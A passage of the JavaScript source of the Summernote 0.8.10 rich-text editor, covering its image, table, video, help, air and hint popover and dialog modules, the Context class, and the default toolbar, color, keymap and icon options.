$imageInput.replaceWith($imageInput.clone().on('change', function (event) { deferred.resolve(event.target.files || event.target.value); }).val('')); $imageBtn.click(function (event) { event.preventDefault(); deferred.resolve($imageUrl.val()); }); $imageUrl.on('keyup paste', function () { var url = $imageUrl.val(); _this.ui.toggleBtn($imageBtn, url); }).val(''); if (!env.isSupportTouch) { $imageUrl.trigger('focus'); } _this.bindEnterKey($imageUrl, $imageBtn); }); _this.ui.onDialogHidden(_this.$dialog, function () { $imageInput.off('change'); $imageUrl.off('keyup paste keypress'); $imageBtn.off('click'); if (deferred.state() === 'pending') { deferred.reject(); } }); _this.ui.showDialog(_this.$dialog); }); }; return ImageDialog; }()); /** * Image popover module * mouse events that show/hide popover will be handled by Handle.js. * Handle.js will receive the events and invoke 'imagePopover.update'. */ var ImagePopover = /** @class */ (function () { function ImagePopover(context) { var _this = this; this.context = context; this.ui = $$1.summernote.ui; this.editable = context.layoutInfo.editable[0]; this.options = context.options; this.events = { 'summernote.disable': function () { _this.hide(); } }; } ImagePopover.prototype.shouldInitialize = function () { return !lists.isEmpty(this.options.popover.image); }; ImagePopover.prototype.initialize = function () { this.$popover = this.ui.popover({ className: 'note-image-popover' }).render().appendTo(this.options.container); var $content = this.$popover.find('.popover-content,.note-popover-content'); this.context.invoke('buttons.build', $content, this.options.popover.image); }; ImagePopover.prototype.destroy = function () { this.$popover.remove(); }; ImagePopover.prototype.update = function (target) { if (dom.isImg(target)) { var pos = dom.posFromPlaceholder(target); var posEditor = dom.posFromPlaceholder(this.editable); this.$popover.css({ display: 'block', left: this.options.popatmouse ? event.pageX - 20 : pos.left, top: this.options.popatmouse ? event.pageY : Math.min(pos.top, posEditor.top) }); } else { this.hide(); } }; ImagePopover.prototype.hide = function () { this.$popover.hide(); }; return ImagePopover; }()); var TablePopover = /** @class */ (function () { function TablePopover(context) { var _this = this; this.context = context; this.ui = $$1.summernote.ui; this.options = context.options; this.events = { 'summernote.mousedown': function (we, e) { _this.update(e.target); }, 'summernote.keyup summernote.scroll summernote.change': function () { _this.update(); }, 'summernote.disable': function () { _this.hide(); } }; } TablePopover.prototype.shouldInitialize = function () { return !lists.isEmpty(this.options.popover.table); }; TablePopover.prototype.initialize = function () { this.$popover = this.ui.popover({ className: 'note-table-popover' }).render().appendTo(this.options.container); var $content = this.$popover.find('.popover-content,.note-popover-content'); this.context.invoke('buttons.build', $content, this.options.popover.table); // [workaround] Disable Firefox's default table editor if (env.isFF) { document.execCommand('enableInlineTableEditing', false, false); } }; TablePopover.prototype.destroy = function () { this.$popover.remove(); }; TablePopover.prototype.update = function (target) { if (this.context.isDisabled()) { return false; } var isCell = dom.isCell(target); if (isCell) { var pos = dom.posFromPlaceholder(target); this.$popover.css({ display: 'block', left: pos.left, top: pos.top }); } else { this.hide(); } return isCell; }; TablePopover.prototype.hide = function () { this.$popover.hide(); }; return TablePopover; }()); var VideoDialog = /** @class */ (function () { function VideoDialog(context) { this.context = context; this.ui = $$1.summernote.ui; this.$body = $$1(document.body); this.$editor = context.layoutInfo.editor; this.options = context.options; this.lang = this.options.langInfo; } VideoDialog.prototype.initialize = function () { var $container = this.options.dialogsInBody ? this.$body : this.$editor; var body = [ '<div class="form-group note-form-group row-fluid">', "<label class=\"note-form-label\">" + this.lang.video.url + " <small class=\"text-muted\">" + this.lang.video.providers + "</small></label>", '<input class="note-video-url form-control note-form-control note-input" type="text" />', '</div>' ].join(''); var buttonClass = 'btn btn-primary note-btn note-btn-primary note-video-btn'; var footer = "<button type=\"submit\" href=\"#\" class=\"" + buttonClass + "\" disabled>" + this.lang.video.insert + "</button>"; this.$dialog = this.ui.dialog({ title: this.lang.video.insert, fade: this.options.dialogsFade, body: body, footer: footer }).render().appendTo($container); }; VideoDialog.prototype.destroy = function () { this.ui.hideDialog(this.$dialog); this.$dialog.remove(); }; VideoDialog.prototype.bindEnterKey = function ($input, $btn) { $input.on('keypress', function (event) { if (event.keyCode === key.code.ENTER) { event.preventDefault(); $btn.trigger('click'); } }); }; VideoDialog.prototype.createVideoNode = function (url) { // video url patterns(youtube, instagram, vimeo, dailymotion, youku, mp4, ogg, webm) var ytRegExp = /^(?:https?:\/\/)?(?:www\.)?(?:youtu\.be\/|youtube\.com\/(?:embed\/|v\/|watch\?v=|watch\?.+&v=))((\w|-){11})(?:\S+)?$/; var ytMatch = url.match(ytRegExp); var igRegExp = /(?:www\.|\/\/)instagram\.com\/p\/(.[a-zA-Z0-9_-]*)/; var igMatch = url.match(igRegExp); var vRegExp = /\/\/vine\.co\/v\/([a-zA-Z0-9]+)/; var vMatch = url.match(vRegExp); var vimRegExp = /\/\/(player\.)?vimeo\.com\/([a-z]*\/)*(\d+)[?]?.*/; var vimMatch = url.match(vimRegExp); var dmRegExp = /.+dailymotion.com\/(video|hub)\/([^_]+)[^#]*(#video=([^_&]+))?/; var dmMatch = url.match(dmRegExp); var youkuRegExp = /\/\/v\.youku\.com\/v_show\/id_(\w+)=*\.html/; var youkuMatch = url.match(youkuRegExp); var qqRegExp = /\/\/v\.qq\.com.*?vid=(.+)/; var qqMatch = url.match(qqRegExp); var qqRegExp2 = /\/\/v\.qq\.com\/x?\/?(page|cover).*?\/([^\/]+)\.html\??.*/; var qqMatch2 = url.match(qqRegExp2); var mp4RegExp = /^.+.(mp4|m4v)$/; var mp4Match = url.match(mp4RegExp); var oggRegExp = /^.+.(ogg|ogv)$/; var oggMatch = url.match(oggRegExp); var webmRegExp = /^.+.(webm)$/; var webmMatch = url.match(webmRegExp); var $video; if (ytMatch && ytMatch[1].length === 11) { var youtubeId = ytMatch[1]; $video = $$1('<iframe>') .attr('frameborder', 0) .attr('src', '//www.youtube.com/embed/' + youtubeId) .attr('width', '640').attr('height', '360'); } else if (igMatch && igMatch[0].length) { $video = $$1('<iframe>') .attr('frameborder', 0) .attr('src', 'https://instagram.com/p/' + igMatch[1] + '/embed/') .attr('width', '612').attr('height', '710') .attr('scrolling', 'no') .attr('allowtransparency', 'true'); } else if (vMatch && vMatch[0].length) { $video = $$1('<iframe>') .attr('frameborder', 0) .attr('src', vMatch[0] + '/embed/simple') .attr('width', '600').attr('height', '600') .attr('class', 'vine-embed'); } else if (vimMatch && vimMatch[3].length) { $video = $$1('<iframe webkitallowfullscreen mozallowfullscreen allowfullscreen>') .attr('frameborder', 0) .attr('src', '//player.vimeo.com/video/' + vimMatch[3]) .attr('width', '640').attr('height', '360'); } else if (dmMatch && dmMatch[2].length) { $video = $$1('<iframe>') .attr('frameborder', 0) .attr('src', '//www.dailymotion.com/embed/video/' + dmMatch[2]) .attr('width', '640').attr('height', '360'); } else if (youkuMatch && youkuMatch[1].length) { $video = $$1('<iframe webkitallowfullscreen mozallowfullscreen allowfullscreen>') .attr('frameborder', 0) .attr('height', '498') .attr('width', '510') .attr('src', '//player.youku.com/embed/' + youkuMatch[1]); } else if ((qqMatch && qqMatch[1].length) || (qqMatch2 && qqMatch2[2].length)) { var vid = ((qqMatch && qqMatch[1].length) ? qqMatch[1] : qqMatch2[2]); $video = $$1('<iframe webkitallowfullscreen mozallowfullscreen allowfullscreen>') .attr('frameborder', 0) .attr('height', '310') .attr('width', '500') .attr('src', 'http://v.qq.com/iframe/player.html?vid=' + vid + '&auto=0'); } else if (mp4Match || oggMatch || webmMatch) { $video = $$1('<video controls>') .attr('src', url) .attr('width', '640').attr('height', '360'); } else { // this is not a known video link. Now what, Cat? Now what? return false; } $video.addClass('note-video-clip'); return $video[0]; }; VideoDialog.prototype.show = function () { var _this = this; var text = this.context.invoke('editor.getSelectedText'); this.context.invoke('editor.saveRange'); this.showVideoDialog(text).then(function (url) { // [workaround] hide dialog before restore range for IE range focus _this.ui.hideDialog(_this.$dialog); _this.context.invoke('editor.restoreRange'); // build node var $node = _this.createVideoNode(url); if ($node) { // insert video node _this.context.invoke('editor.insertNode', $node); } }).fail(function () { _this.context.invoke('editor.restoreRange'); }); }; /** * show image dialog * * @param {jQuery} $dialog * @return {Promise} */ VideoDialog.prototype.showVideoDialog = function (text) { var _this = this; return $$1.Deferred(function (deferred) { var $videoUrl = _this.$dialog.find('.note-video-url'); var $videoBtn = _this.$dialog.find('.note-video-btn'); _this.ui.onDialogShown(_this.$dialog, function () { _this.context.triggerEvent('dialog.shown'); $videoUrl.val(text).on('input', function () { _this.ui.toggleBtn($videoBtn, $videoUrl.val()); }); if (!env.isSupportTouch) { $videoUrl.trigger('focus'); } $videoBtn.click(function (event) { event.preventDefault(); deferred.resolve($videoUrl.val()); }); _this.bindEnterKey($videoUrl, $videoBtn); }); _this.ui.onDialogHidden(_this.$dialog, function () { $videoUrl.off('input'); $videoBtn.off('click'); if (deferred.state() === 'pending') { deferred.reject(); } }); _this.ui.showDialog(_this.$dialog); }); }; return VideoDialog; }()); var HelpDialog = /** @class */ (function () { function HelpDialog(context) { this.context = context; this.ui = $$1.summernote.ui; this.$body = $$1(document.body); this.$editor = context.layoutInfo.editor; this.options = context.options; this.lang = this.options.langInfo; } HelpDialog.prototype.initialize = function () { var $container = this.options.dialogsInBody ? this.$body : this.$editor; var body = [ '<p class="text-center">', '<a href="http://summernote.org/" target="_blank">Summernote 0.8.10</a> · ', '<a href="https://github.com/summernote/summernote" target="_blank">Project</a> · ', '<a href="https://github.com/summernote/summernote/issues" target="_blank">Issues</a>', '</p>' ].join(''); this.$dialog = this.ui.dialog({ title: this.lang.options.help, fade: this.options.dialogsFade, body: this.createShortcutList(), footer: body, callback: function ($node) { $node.find('.modal-body,.note-modal-body').css({ 'max-height': 300, 'overflow': 'scroll' }); } }).render().appendTo($container); }; HelpDialog.prototype.destroy = function () { this.ui.hideDialog(this.$dialog); this.$dialog.remove(); }; HelpDialog.prototype.createShortcutList = function () { var _this = this; var keyMap = this.options.keyMap[env.isMac ? 'mac' : 'pc']; return Object.keys(keyMap).map(function (key) { var command = keyMap[key]; var $row = $$1('<div><div class="help-list-item"/></div>'); $row.append($$1('<label><kbd>' + key + '</kdb></label>').css({ 'width': 180, 'margin-right': 10 })).append($$1('<span/>').html(_this.context.memo('help.' + command) || command)); return $row.html(); }).join(''); }; /** * show help dialog * * @return {Promise} */ HelpDialog.prototype.showHelpDialog = function () { var _this = this; return $$1.Deferred(function (deferred) { _this.ui.onDialogShown(_this.$dialog, function () { _this.context.triggerEvent('dialog.shown'); deferred.resolve(); }); _this.ui.showDialog(_this.$dialog); }).promise(); }; HelpDialog.prototype.show = function () { var _this = this; this.context.invoke('editor.saveRange'); this.showHelpDialog().then(function () { _this.context.invoke('editor.restoreRange'); }); }; return HelpDialog; }()); var AIR_MODE_POPOVER_X_OFFSET = 20; var AirPopover = /** @class */ (function () { function AirPopover(context) { var _this = this; this.context = context; this.ui = $$1.summernote.ui; this.options = context.options; this.events = { 'summernote.keyup summernote.mouseup summernote.scroll': function () { _this.update(); }, 'summernote.disable summernote.change summernote.dialog.shown': function () { _this.hide(); }, 'summernote.focusout': function (we, e) { // [workaround] Firefox doesn't support relatedTarget on focusout // - Ignore hide action on focus out in FF. if (env.isFF) { return; } if (!e.relatedTarget || !dom.ancestor(e.relatedTarget, func.eq(_this.$popover[0]))) { _this.hide(); } } }; } AirPopover.prototype.shouldInitialize = function () { return this.options.airMode && !lists.isEmpty(this.options.popover.air); }; AirPopover.prototype.initialize = function () { this.$popover = this.ui.popover({ className: 'note-air-popover' }).render().appendTo(this.options.container); var $content = this.$popover.find('.popover-content'); this.context.invoke('buttons.build', $content, this.options.popover.air); }; AirPopover.prototype.destroy = function () { this.$popover.remove(); }; AirPopover.prototype.update = function () { var styleInfo = this.context.invoke('editor.currentStyle'); if (styleInfo.range && !styleInfo.range.isCollapsed()) { var rect = lists.last(styleInfo.range.getClientRects()); if (rect) { var bnd = func.rect2bnd(rect); this.$popover.css({ display: 'block', left: Math.max(bnd.left + bnd.width / 2, 0) - AIR_MODE_POPOVER_X_OFFSET, top: bnd.top + bnd.height }); this.context.invoke('buttons.updateCurrentStyle', this.$popover); } } else { this.hide(); } }; AirPopover.prototype.hide = function () { this.$popover.hide(); }; return AirPopover; }()); var POPOVER_DIST = 5; var HintPopover = /** @class */ (function () { function HintPopover(context) { var _this = this; this.context = context; this.ui = $$1.summernote.ui; this.$editable = context.layoutInfo.editable; this.options = context.options; this.hint = this.options.hint || []; this.direction = this.options.hintDirection || 'bottom'; this.hints = $$1.isArray(this.hint) ? this.hint : [this.hint]; this.events = { 'summernote.keyup': function (we, e) { if (!e.isDefaultPrevented()) { _this.handleKeyup(e); } }, 'summernote.keydown': function (we, e) { _this.handleKeydown(e); }, 'summernote.disable summernote.dialog.shown': function () { _this.hide(); } }; } HintPopover.prototype.shouldInitialize = function () { return this.hints.length > 0; }; HintPopover.prototype.initialize = function () { var _this = this; this.lastWordRange = null; this.$popover = this.ui.popover({ className: 'note-hint-popover', hideArrow: true, direction: '' }).render().appendTo(this.options.container); this.$popover.hide(); this.$content = this.$popover.find('.popover-content,.note-popover-content'); this.$content.on('click', '.note-hint-item', function () { _this.$content.find('.active').removeClass('active'); $$1(_this).addClass('active'); _this.replace(); }); }; HintPopover.prototype.destroy = function () { this.$popover.remove(); }; HintPopover.prototype.selectItem = function ($item) { this.$content.find('.active').removeClass('active'); $item.addClass('active'); this.$content[0].scrollTop = $item[0].offsetTop - (this.$content.innerHeight() / 2); }; HintPopover.prototype.moveDown = function () { var $current = this.$content.find('.note-hint-item.active'); var $next = $current.next(); if ($next.length) { this.selectItem($next); } else { var $nextGroup = $current.parent().next(); if (!$nextGroup.length) { $nextGroup = this.$content.find('.note-hint-group').first(); } this.selectItem($nextGroup.find('.note-hint-item').first()); } }; HintPopover.prototype.moveUp = function () { var $current = this.$content.find('.note-hint-item.active'); var $prev = $current.prev(); if ($prev.length) { this.selectItem($prev); } else { var $prevGroup = $current.parent().prev(); if (!$prevGroup.length) { $prevGroup = this.$content.find('.note-hint-group').last(); } this.selectItem($prevGroup.find('.note-hint-item').last()); } }; HintPopover.prototype.replace = function () { var $item = this.$content.find('.note-hint-item.active'); if ($item.length) { var node = this.nodeFromItem($item); // XXX: consider to move codes to editor for recording redo/undo. this.lastWordRange.insertNode(node); range.createFromNode(node).collapse().select(); this.lastWordRange = null; this.hide(); this.context.triggerEvent('change', this.$editable.html(), this.$editable[0]); this.context.invoke('editor.focus'); } }; HintPopover.prototype.nodeFromItem = function ($item) { var hint = this.hints[$item.data('index')]; var item = $item.data('item'); var node = hint.content ? hint.content(item) : item; if (typeof node === 'string') { node = dom.createText(node); } return node; }; HintPopover.prototype.createItemTemplates = function (hintIdx, items) { var hint = this.hints[hintIdx]; return items.map(function (item, idx) { var $item = $$1('<div class="note-hint-item"/>'); $item.append(hint.template ? hint.template(item) : item + ''); $item.data({ 'index': hintIdx, 'item': item }); return $item; }); }; HintPopover.prototype.handleKeydown = function (e) { if (!this.$popover.is(':visible')) { return; } if (e.keyCode === key.code.ENTER) { e.preventDefault(); this.replace(); } else if (e.keyCode === key.code.UP) { e.preventDefault(); this.moveUp(); } else if (e.keyCode === key.code.DOWN) { e.preventDefault(); this.moveDown(); } }; HintPopover.prototype.searchKeyword = function (index, keyword, callback) { var hint = this.hints[index]; if (hint && hint.match.test(keyword) && hint.search) { var matches = hint.match.exec(keyword); hint.search(matches[1], callback); } else { callback(); } }; HintPopover.prototype.createGroup = function (idx, keyword) { var _this = this; var $group = $$1('<div class="note-hint-group note-hint-group-' + idx + '"/>'); this.searchKeyword(idx, keyword, function (items) { items = items || []; if (items.length) { $group.html(_this.createItemTemplates(idx, items)); _this.show(); } }); return $group; }; HintPopover.prototype.handleKeyup = function (e) { var _this = this; if (!lists.contains([key.code.ENTER, key.code.UP, key.code.DOWN], e.keyCode)) { var wordRange = this.context.invoke('editor.createRange').getWordRange(); var keyword_1 = wordRange.toString(); if (this.hints.length && keyword_1) { this.$content.empty(); var bnd = func.rect2bnd(lists.last(wordRange.getClientRects())); if (bnd) { this.$popover.hide(); this.lastWordRange = wordRange; this.hints.forEach(function (hint, idx) { if (hint.match.test(keyword_1)) { _this.createGroup(idx, keyword_1).appendTo(_this.$content); } }); // select first .note-hint-item this.$content.find('.note-hint-item:first').addClass('active'); // set position for popover after group is created if (this.direction === 'top') { this.$popover.css({ left: bnd.left, top: bnd.top - this.$popover.outerHeight() - POPOVER_DIST }); } else { this.$popover.css({ left: bnd.left, top: bnd.top + bnd.height + POPOVER_DIST }); } } } else { this.hide(); } } }; HintPopover.prototype.show = function () { this.$popover.show(); }; HintPopover.prototype.hide = function () { this.$popover.hide(); }; return HintPopover; }()); var Context = /** @class */ (function () { /** * @param {jQuery} $note * @param {Object} options */ function Context($note, options) { this.ui = $$1.summernote.ui; this.$note = $note; this.memos = {}; this.modules = {}; this.layoutInfo = {}; this.options = options; this.initialize(); } /** * create layout and initialize modules and other resources */ Context.prototype.initialize = function () { this.layoutInfo = this.ui.createLayout(this.$note, this.options); this._initialize(); this.$note.hide(); return this; }; /** * destroy modules and other resources and remove layout */ Context.prototype.destroy = function () { this._destroy(); this.$note.removeData('summernote'); this.ui.removeLayout(this.$note, this.layoutInfo); }; /** * destory modules and other resources and initialize it again */ Context.prototype.reset = function () { var disabled = this.isDisabled(); this.code(dom.emptyPara); this._destroy(); this._initialize(); if (disabled) { this.disable(); } }; Context.prototype._initialize = function () { var _this = this; // add optional buttons var buttons = $$1.extend({}, this.options.buttons); Object.keys(buttons).forEach(function (key) { _this.memo('button.' + key, buttons[key]); }); var modules = $$1.extend({}, this.options.modules, $$1.summernote.plugins || {}); // add and initialize modules Object.keys(modules).forEach(function (key) { _this.module(key, modules[key], true); }); Object.keys(this.modules).forEach(function (key) { _this.initializeModule(key); }); }; Context.prototype._destroy = function () { var _this = this; // destroy modules with reversed order Object.keys(this.modules).reverse().forEach(function (key) { _this.removeModule(key); }); Object.keys(this.memos).forEach(function (key) { _this.removeMemo(key); }); // trigger custom onDestroy callback this.triggerEvent('destroy', this); }; Context.prototype.code = function (html) { var isActivated = this.invoke('codeview.isActivated'); if (html === undefined) { this.invoke('codeview.sync'); return isActivated ? this.layoutInfo.codable.val() : this.layoutInfo.editable.html(); } else { if (isActivated) { this.layoutInfo.codable.val(html); } else { this.layoutInfo.editable.html(html); } this.$note.val(html); this.triggerEvent('change', html); } }; Context.prototype.isDisabled = function () { return this.layoutInfo.editable.attr('contenteditable') === 'false'; }; Context.prototype.enable = function () { this.layoutInfo.editable.attr('contenteditable', true); this.invoke('toolbar.activate', true); this.triggerEvent('disable', false); }; Context.prototype.disable = function () { // close codeview if codeview is opend if (this.invoke('codeview.isActivated')) { this.invoke('codeview.deactivate'); } this.layoutInfo.editable.attr('contenteditable', false); this.invoke('toolbar.deactivate', true); this.triggerEvent('disable', true); }; Context.prototype.triggerEvent = function () { var namespace = lists.head(arguments); var args = lists.tail(lists.from(arguments)); var callback = this.options.callbacks[func.namespaceToCamel(namespace, 'on')]; if (callback) { callback.apply(this.$note[0], args); } this.$note.trigger('summernote.' + namespace, args); }; Context.prototype.initializeModule = function (key) { var module = this.modules[key]; module.shouldInitialize = module.shouldInitialize || func.ok; if (!module.shouldInitialize()) { return; } // initialize module if (module.initialize) { module.initialize(); } // attach events if (module.events) { dom.attachEvents(this.$note, module.events); } }; Context.prototype.module = function (key, ModuleClass, withoutIntialize) { if (arguments.length === 1) { return this.modules[key]; } this.modules[key] = new ModuleClass(this); if (!withoutIntialize) { this.initializeModule(key); } }; Context.prototype.removeModule = function (key) { var module = this.modules[key]; if (module.shouldInitialize()) { if (module.events) { dom.detachEvents(this.$note, module.events); } if (module.destroy) { module.destroy(); } } delete this.modules[key]; }; Context.prototype.memo = function (key, obj) { if (arguments.length === 1) { return this.memos[key]; } this.memos[key] = obj; }; Context.prototype.removeMemo = function (key) { if (this.memos[key] && this.memos[key].destroy) { this.memos[key].destroy(); } delete this.memos[key]; }; /** * Some buttons need to change their visual style immediately once they get pressed */ Context.prototype.createInvokeHandlerAndUpdateState = function (namespace, value) { var _this = this; return function (event) { _this.createInvokeHandler(namespace, value)(event); _this.invoke('buttons.updateCurrentStyle'); }; }; Context.prototype.createInvokeHandler = function (namespace, value) { var _this = this; return function (event) { event.preventDefault(); var $target = $$1(event.target); _this.invoke(namespace, value || $target.closest('[data-value]').data('value'), $target); }; }; Context.prototype.invoke = function () { var namespace = lists.head(arguments); var args = lists.tail(lists.from(arguments)); var splits = namespace.split('.'); var hasSeparator = splits.length > 1; var moduleName = hasSeparator && lists.head(splits); var methodName = hasSeparator ? lists.last(splits) : lists.head(splits); var module = this.modules[moduleName || 'editor']; if (!moduleName && this[methodName]) { return this[methodName].apply(this, args); } else if (module && module[methodName] && module.shouldInitialize()) { return module[methodName].apply(module, args); } }; return Context; }()); $$1.fn.extend({ /** * Summernote API * * @param {Object|String} * @return {this} */ summernote: function () { var type = $$1.type(lists.head(arguments)); var isExternalAPICalled = type === 'string'; var hasInitOptions = type === 'object'; var options = $$1.extend({}, $$1.summernote.options, hasInitOptions ? lists.head(arguments) : {}); // Update options options.langInfo = $$1.extend(true, {}, $$1.summernote.lang['en-US'], $$1.summernote.lang[options.lang]); options.icons = $$1.extend(true, {}, $$1.summernote.options.icons, options.icons); options.tooltip = options.tooltip === 'auto' ? !env.isSupportTouch : options.tooltip; this.each(function (idx, note) { var $note = $$1(note); if (!$note.data('summernote')) { var context = new Context($note, options); $note.data('summernote', context); $note.data('summernote').triggerEvent('init', context.layoutInfo); } }); var $note = this.first(); if ($note.length) { var context = $note.data('summernote'); if (isExternalAPICalled) { return context.invoke.apply(context, lists.from(arguments)); } else if (options.focus) { context.invoke('editor.focus'); } } return this; } }); $$1.summernote = $$1.extend($$1.summernote, { version: '0.8.10', ui: ui, dom: dom, plugins: {}, options: { modules: { 'editor': Editor, 'clipboard': Clipboard, 'dropzone': Dropzone, 'codeview': CodeView, 'statusbar': Statusbar, 'fullscreen': Fullscreen, 'handle': Handle, // FIXME: HintPopover must be front of autolink // - Script error about range when Enter key is pressed on hint popover 'hintPopover': HintPopover, 'autoLink': AutoLink, 'autoSync': AutoSync, 'placeholder': Placeholder, 'buttons': Buttons, 'toolbar': Toolbar, 'linkDialog': LinkDialog, 'linkPopover': LinkPopover, 'imageDialog': ImageDialog, 'imagePopover': ImagePopover, 'tablePopover': TablePopover, 'videoDialog': VideoDialog, 'helpDialog': HelpDialog, 'airPopover': AirPopover }, buttons: {}, lang: 'en-US', followingToolbar: true, otherStaticBar: '', // toolbar toolbar: [ ['style', ['style']], ['font', ['bold', 'underline', 'clear']], ['fontname', ['fontname']], ['color', ['color']], ['para', ['ul', 'ol', 'paragraph']], ['table', ['table']], ['insert', ['link', 'picture', 'video']], ['view', ['fullscreen', 'codeview', 'help']] ], // popover popatmouse: true, popover: { image: [ ['imagesize', ['imageSize100', 'imageSize50', 'imageSize25']], ['float', ['floatLeft', 'floatRight', 'floatNone']], ['remove', ['removeMedia']] ], link: [ ['link', ['linkDialogShow', 'unlink']] ], table: [ ['add', ['addRowDown', 'addRowUp', 'addColLeft', 'addColRight']], ['delete', ['deleteRow', 'deleteCol', 'deleteTable']] ], air: [ ['color', ['color']], ['font', ['bold', 'underline', 'clear']], ['para', ['ul', 'paragraph']], ['table', ['table']], ['insert', ['link', 'picture']] ] }, // air mode: inline editor airMode: false, width: null, height: null, linkTargetBlank: true, focus: false, tabSize: 4, styleWithSpan: true, shortcuts: true, textareaAutoSync: true, hintDirection: 'bottom', tooltip: 'auto', container: 'body', maxTextLength: 0, styleTags: ['p', 'blockquote', 'pre', 'h1', 'h2', 'h3', 'h4', 'h5', 'h6'], fontNames: [ 'Arial', 'Arial Black', 'Comic Sans MS', 'Courier New', 'Helvetica Neue', 'Helvetica', 'Impact', 'Lucida Grande', 'Tahoma', 'Times New Roman', 'Verdana' ], fontSizes: ['8', '9', '10', '11', '12', '14', '18', '24', '36'], // pallete colors(n x n) colors: [ ['#000000', '#424242', '#636363', '#9C9C94', '#CEC6CE', '#EFEFEF', '#F7F7F7', '#FFFFFF'], ['#FF0000', '#FF9C00', '#FFFF00', '#00FF00', '#00FFFF', '#0000FF', '#9C00FF', '#FF00FF'], ['#F7C6CE', '#FFE7CE', '#FFEFC6', '#D6EFD6', '#CEDEE7', '#CEE7F7', '#D6D6E7', '#E7D6DE'], ['#E79C9C', '#FFC69C', '#FFE79C', '#B5D6A5', '#A5C6CE', '#9CC6EF', '#B5A5D6', '#D6A5BD'], ['#E76363', '#F7AD6B', '#FFD663', '#94BD7B', '#73A5AD', '#6BADDE', '#8C7BC6', '#C67BA5'], ['#CE0000', '#E79439', '#EFC631', '#6BA54A', '#4A7B8C', '#3984C6', '#634AA5', '#A54A7B'], ['#9C0000', '#B56308', '#BD9400', '#397B21', '#104A5A', '#085294', '#311873', '#731842'], ['#630000', '#7B3900', '#846300', '#295218', '#083139', '#003163', '#21104A', '#4A1031'] ], // http://chir.ag/projects/name-that-color/ colorsName: [ ['Black', 'Tundora', 'Dove Gray', 'Star Dust', 'Pale Slate', 'Gallery', 'Alabaster', 'White'], ['Red', 'Orange Peel', 'Yellow', 'Green', 'Cyan', 'Blue', 'Electric Violet', 'Magenta'], ['Azalea', 'Karry', 'Egg White', 'Zanah', 'Botticelli', 'Tropical Blue', 'Mischka', 'Twilight'], ['Tonys Pink', 'Peach Orange', 'Cream Brulee', 'Sprout', 'Casper', 'Perano', 'Cold Purple', 'Careys Pink'], ['Mandy', 'Rajah', 'Dandelion', 'Olivine', 'Gulf Stream', 'Viking', 'Blue Marguerite', 'Puce'], ['Guardsman Red', 'Fire Bush', 'Golden Dream', 'Chelsea Cucumber', 'Smalt Blue', 'Boston Blue', 'Butterfly Bush', 'Cadillac'], ['Sangria', 'Mai Tai', 'Buddha Gold', 'Forest Green', 'Eden', 'Venice Blue', 'Meteorite', 'Claret'], ['Rosewood', 'Cinnamon', 'Olive', 'Parsley', 'Tiber', 'Midnight Blue', 'Valentino', 'Loulou'] ], lineHeights: ['1.0', '1.2', '1.4', '1.5', '1.6', '1.8', '2.0', '3.0'], tableClassName: 'table table-bordered', insertTableMaxSize: { col: 10, row: 10 }, dialogsInBody: false, dialogsFade: false, maximumImageFileSize: null, callbacks: { onInit: null, onFocus: null, onBlur: null, onBlurCodeview: null, onEnter: null, onKeyup: null, onKeydown: null, onImageUpload: null, onImageUploadError: null }, codemirror: { mode: 'text/html', htmlMode: true, lineNumbers: true }, keyMap: { pc: { 'ENTER': 'insertParagraph', 'CTRL+Z': 'undo', 'CTRL+Y': 'redo', 'TAB': 'tab', 'SHIFT+TAB': 'untab', 'CTRL+B': 'bold', 'CTRL+I': 'italic', 'CTRL+U': 'underline', 'CTRL+SHIFT+S': 'strikethrough', 'CTRL+BACKSLASH': 'removeFormat', 'CTRL+SHIFT+L': 'justifyLeft', 'CTRL+SHIFT+E': 'justifyCenter', 'CTRL+SHIFT+R': 'justifyRight', 'CTRL+SHIFT+J': 'justifyFull', 'CTRL+SHIFT+NUM7': 'insertUnorderedList', 'CTRL+SHIFT+NUM8': 'insertOrderedList', 'CTRL+LEFTBRACKET': 'outdent', 'CTRL+RIGHTBRACKET': 'indent', 'CTRL+NUM0': 'formatPara', 'CTRL+NUM1': 'formatH1', 'CTRL+NUM2': 'formatH2', 'CTRL+NUM3': 'formatH3', 'CTRL+NUM4': 'formatH4', 'CTRL+NUM5': 'formatH5', 'CTRL+NUM6': 'formatH6', 'CTRL+ENTER': 'insertHorizontalRule', 'CTRL+K': 'linkDialog.show' }, mac: { 'ENTER': 'insertParagraph', 'CMD+Z': 'undo', 'CMD+SHIFT+Z': 'redo', 'TAB': 'tab', 'SHIFT+TAB': 'untab', 'CMD+B': 'bold', 'CMD+I': 'italic', 'CMD+U': 'underline', 'CMD+SHIFT+S': 'strikethrough', 'CMD+BACKSLASH': 'removeFormat', 'CMD+SHIFT+L': 'justifyLeft', 'CMD+SHIFT+E': 'justifyCenter', 'CMD+SHIFT+R': 'justifyRight', 'CMD+SHIFT+J': 'justifyFull', 'CMD+SHIFT+NUM7': 'insertUnorderedList', 'CMD+SHIFT+NUM8': 'insertOrderedList', 'CMD+LEFTBRACKET': 'outdent', 'CMD+RIGHTBRACKET': 'indent', 'CMD+NUM0': 'formatPara', 'CMD+NUM1': 'formatH1', 'CMD+NUM2': 'formatH2', 'CMD+NUM3': 'formatH3', 'CMD+NUM4': 'formatH4', 'CMD+NUM5': 'formatH5', 'CMD+NUM6': 'formatH6', 'CMD+ENTER': 'insertHorizontalRule', 'CMD+K': 'linkDialog.show' } }, icons: { 'align': 'note-icon-align', 'alignCenter': 'note-icon-align-center', 'alignJustify': 'note-icon-align-justify', 'alignLeft': 'note-icon-align-left', 'alignRight': 'note-icon-align-right', 'rowBelow': 'note-icon-row-below', 'colBefore': 'note-icon-col-before', 'colAfter': 'note-icon-col-after', 'rowAbove': 'note-icon-row-above', 'rowRemove': 'note-icon-row-remove', 'colRemove': 'note-icon-col-remove', 'indent': 'note-icon-align-indent', 'outdent': 'note-icon-align-outdent', 'arrowsAlt': 'note-icon-arrows-alt', 'bold': 'note-icon-bold', 'caret': 'note-icon-caret', 'circle': 'note-icon-circle', 'close': 'note-icon-close', 'code': 'note-icon-code', 'eraser': 'note-icon-eraser', 'font': 'note-icon-font', 'frame': 'note-icon-frame', 'italic': 'note-icon-italic', 'link': 'note-icon-link', 'unlink': 'note-icon-chain-broken', 'magic': 'note-icon-magic', 'menuCheck': 'note-icon-menu-check', 'minus': 'note-icon-minus', 'orderedlist': 'note-icon-orderedlist', 'pencil': 'note-icon-pencil', 'picture': 'note-icon-picture', 'question': 'note-icon-question', 'redo': 'note-icon-redo', 'square': 'note-icon-square', 'strikethrough': 'note-icon-strikethrough', 'subscript': 'note-icon-subscript', 'superscript': 'note-icon-superscript', 'table': 'note-icon-table', 'textHeight': 